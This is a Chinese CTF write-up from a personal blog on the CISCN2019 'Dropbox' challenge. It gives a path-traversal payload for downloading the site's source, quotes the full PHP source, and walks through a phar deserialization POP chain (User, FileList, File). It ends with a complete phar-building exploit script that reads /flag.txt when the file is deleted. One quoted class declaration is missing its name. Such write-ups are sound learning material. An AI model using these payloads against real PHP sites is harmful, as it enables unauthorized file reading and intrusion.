Z1d10tのBlog

A note for myself,have fun!

  1. 1. 审计:
  2. 2. Typo3 反序列化漏洞

[CISCN2019 华北赛区 Day1 Web1]Dropbox

一道经典的phar 反序列化题目

注册一个账号然后登录

发现可以上传文件

img

一开始以为是上传木马 当然不可能 buu第三页的题目不可能这么简单

然后下载我们上传上去的文件

image.png

发现通过/download 请求了filename=来实现下载

这里存在文件任意读漏洞

构造paylaod:filename=../../文件可以得到很多源码

共能下到7个php文件

img

接下来就是漫长的代码审计了

审计:

首先 login.php与register.php都是很常规的初处理 不多说

然后是uplaod.php也是一些常规的检查上传文件合法与否的语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
uplaod.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

include "class.php";

if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$pos = strrpos($filename, ".");
if ($pos !== false) {
$filename = substr($filename, 0, $pos);
}

$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
case 'image/png':
$fileext = ".png";
break;
default:
$response = array("success" => false, "error" => "Only gif/jpg/png allowed");
Header("Content-type: application/json");
echo json_encode($response);
die();
}

if (strlen($filename) < 40 && strlen($filename) !== 0) {
$dst = $_SESSION['sandbox'] . $filename . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
$response = array("success" => true, "error" => "");
Header("Content-type: application/json");
echo json_encode($response);
} else {
$response = array("success" => false, "error" => "Invaild filename");
Header("Content-type: application/json");
echo json_encode($response);
}
}
?>

download.php与delete.php一起看吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

不管是删除还是下载路由都有$file = new File();

跟踪一下 到class.php 也是最重要的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class
{
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func(); #file=new File() func=close
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
?>

File类中发现了file_get_contents()如果能调用 则可以文件包含

可以构造User->db(__destruct)->File->close()来触发 但是读到的文件不能输出

发现还有一个类FileList 中有一个魔术方法 其实一般有魔术方法的类 都会去找能不能构造pop链条

既然之前构造的链条没法回显 那么我们就要通过构造别的链条来使得回显

User->db(__destruct)->Filelist->__call->File->close()再通过File函数的析构函数来回显

1
2
3
4
5
6
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func(); #file=new File() func=close
}
}

当对象调用一个不存在的方法时,就会调用__call方法

并且默认$func为不存在函数名 $args为参数 并且以数组形式

用一个简单的demo来看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class student{
public $name;
public $age = 13;
public function __destruct() {
$this->name->close($this->age);
}
}
class lunch{
public function __call($func, $args) {
echo $func;
echo "\n";
var_dump($args);
}
}
$a = new student();
$a->name=new lunch();
?>

img

整个魔术方法__call达到的效果就是将文件包含的结果传递给$this->results二维数组 好让析构函数输出

那么这里__call方法是怎么做到的呢 一开始一直不明白这里的原理 看了好多wp 都没有提及 纯属是我太菜了

img

1
$this->results[$file->name()][$func] = $file->$func();

$file其实就是我们要去构造的File对象 $func是返回的close函数名 上面的demo中也提到了

所以这里就等价为File->close是这样调用的

其析构函数可以将返回的结果返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
    public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

稍微审计一下其实就是把result数组结果赋值给$table 然后echo $table;输出

明白了整个链子 应该怎么构造呢 题目只容许我们上传一个文件 不像我们平常做的pop链 去赋值给一个变量让其反序列化

Typo3 反序列化漏洞

该漏洞由phar://触发

可以直接去看大佬的总结:

https://xz.aliyun.com/t/2715#toc-8

https://kylingit.com/blog/%E7%94%B1phpggc%E7%90%86%E8%A7%A3php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

说说我自己的看法

首先我们的phar文件能够上传到对方服务器上 并且有相应的魔术方法作为踏板 而且/ phar:// 不能被转义

phar是php的压缩文件并且不经过解压就能直接被php访问并且执行

phar结构由四部分组成:

  • stub phar 文件标识,格式为 xxx<?php xxx; __HALT_COMPILER();?>
  • manifest 压缩文件的属性等信息,以序列化存储;
  • contents 压缩文件的内容;
  • signature 签名,放在文件末尾;

构造固定内容为:

1
2
3
4
5
6
7
8
9
//phar生成代码
@unlink("Z1d10t.phar");
$phar = new Phar("Z1d10t.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

我们将构造的恶意pop链塞入$phar->setMetadata();中 ,并且存储形式为序列化字符串形式存储

通过winhex查看一下

img

当我们通过phar://去访问该文件时 我们构造的恶意序列化pop链就会被反序列化 从而执行恶意代码

明白了原理之后 直接构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class User {
public $db;
}


class FileList {
private $files;
private $results;
private $funcs;


public function __construct() {
$this->results = array();
$this->funcs = array();
$file = new File();
$this->files = array($file);
}
}
class File {
public $filename='/flag.txt';
}
$a = new User();
$a->db=new FileList();
//phar生成代码
@unlink("Z1d10t.phar");
$phar = new Phar("Z1d10t.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

然后这个flag路径是怎么推测出来的 其实题目也有暗喻 在download.php 不过如果我做这道题目肯定会当个瞎子

img

将我们生成的Z1d10t.phar改为Z1d10t.png上传上去这个后缀名并不会因为被修改而影响 猜测就像那个yaml反序列化题目一样 是通过二进制文件读取的 所以后缀无所谓

然后这里访问也有个坑 我们可以通过download.php 下载访问 或者 delete.php 删除访问

如果我们通过下载页面访问是不行的

img

download.php中有这么一串代码

img

PHP ini_set用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开php.ini文件,就能修改配置,对于虚拟空间来说,很方便。参考:https://developer.aliyun.com/article/521394

绕过 open_basedir可以参考:https://xz.aliyun.com/t/10070

也就是说download.php访问文件只被限定于:/etc:/tmp``getcwd()也就是当前文件 三个路径 没法去读我们的文件

而delete.php没有被限定 可以去读

img

本文最后更新于 天前,文中所描述的信息可能已发生改变